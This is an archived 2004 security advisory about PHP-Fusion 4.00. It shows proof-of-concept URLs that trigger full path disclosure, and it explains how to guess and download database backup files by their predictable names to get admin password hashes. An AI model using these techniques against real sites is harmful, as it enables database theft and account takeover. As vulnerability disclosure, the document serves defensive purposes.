exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Echo Security Advisory 2004.4

Echo Security Advisory 2004.4
Posted Aug 19, 2004
Authored by y3dips, Echo Security | Site echo.or.id

PHP-Fusion version 4.00 has a full path disclosure vulnerability and a flaw that allows an attacker to download the database backup file that can be used to gain administrative access.

tags | advisory, php
SHA-256 | fd86bda119a57bd26be037bf969a91bac23833996dd042ce8a6c44eff41ef812

Echo Security Advisory 2004.4

Change Mirror Download
---------------------------------------------------------------------------
Multiple vulnerabilities in PHP-FUSION
---------------------------------------------------------------------------

Author: y3dips
Date: August, 17th 2004
Location: Indonesia, Jakarta
Web: http://echo.or.id/adv/adv04-y3dips-2004.txt

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PHP-Fusion v4.00 (Released June 14th 2004) Written by Nick Jones (Digitanium)

PHP-Fusion is an all-in-one content management system (CMS) written in PHP4.
It uses a mySQL database to store all of it's content such as News, Articles,
Forum Posts, Shoutbox Posts and more

web: http://sourceforge.net/projects/php-fusion/

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Full path disclosure:

A1. Script in fusion_admin/updateuser.php files are not protected against direct access

and if we go straight to the path we will see standard php error messages,
revealing full path to script

POC :

http://localhost/fusion/fusion_admin/updateuser.php

Warning: main(fusion_langdiradmin/admin_members.php): failed to open stream:
No such file or directory in /var/www/html/fusion/fusion_admin/updateuser.php on line 14

Fatal error: main(): Failed opening required 'fusion_langdiradmin/admin_members.php'
(include_path='.:/usr/share/pear') in /var/www/html/fusion/fusion_admin/updateuser.php on line 14



A2. Script in fusion_admin/forums_prune.php files are not protected against direct access

and if we go straight to the path we will see standard php error messages,
revealing full path to script

http://localhost/fusion/fusion_admin/forums_prune.php

Fatal error: Call to undefined function:
opentable() in /var/www/html/fusion/fusion_admin/forums_prune.php on line 14

----------------------------------------------


B. Posible to download or look the db backup file to gain Admin Access


see the installation intruction in the "ReadMe First.txt"

1 - CHMOD the following folders to 0777:
- ---
- fusion_admin/db_backups
- ---

It mean that the db_backups is browseable , eventhough in the directories there
is still "index.php" file, but it doesnt mean protect direct access to the db file
in the directories

let see the weak of db form name

example name : - backup_2004-08-17_1845.sql
- backup_2004-08-17_1845.sql.gz

let see the form

- backup_year-month-day_time.sql
- backup_year-month-day_time.sql.gz


But youll have to "GUEST" the db name, it doesnt matter if you have a little
skill of programing :) ,coz youve allready had the format, then you just need
to point a range into your own script to donlod it :D

POC :

you can directly point out your URL to this page

http://localhost/fusion/fusion_admin/db_backups/backup_2004-08-17_1845.sql

then " BUMM " i swear to you, you'll see the whole database is it the table,
or the data on your browser , it depends on the administrator way to backup it ,

or

http://localhost/fusion/fusion_admin/db_backups/backup_2004-08-17_1845.sql.gz

then you may to downloaded it :P

then you see the data

----cut--------------

# Table Data for `fusion_users`
#
INSERT INTO `fusion_users` (`user_id`, `user_name`, `user_password`, `user_email`,
`user_hide_email`, `user_location`, `user_icq`, `user_msn`, `user_yahoo`,
`user_web`, `user_theme`, `user_offset`, `user_avatar`, `user_sig`, `user_posts`,
`user_joined`, `user_lastvisit`, `user_mod`, `user_ban`) VALUES (1, 'dudul',
'810f9f3fbad17446a22ed2e516a12c36', 'dudul@dudul.com', 1, '', '', '', '', '',
'Default', '0', '', '', 0, 1092739417, 1092743149, 4, 0);

-----cut-------------

user = dudul
md5 password = 810f9f3fbad17446a22ed2e516a12c36
user_mod = 4 <---- super administrator

---------------------------------------------------------------------------

The fix:
~~~~~~~~

Vendor not contacted yet

---------------------------------------------------------------------------
Shoutz:
~~~~~~~

~ m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to @T echo/staff
~ yudhax, biatch-x, lieur-euy, bima_, yadi_syahid, orion, lutfian
~ newbie_hacker@yahoogroups.com ,
~ #e-c-h-o & #aikmel @DALNET

---------------------------------------------------------------------------
Contact:
~~~~~~~~

y3dips || echo|staff || y3dips(at)echo(dot)or(dot)id
Homepage: http://y3dips.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close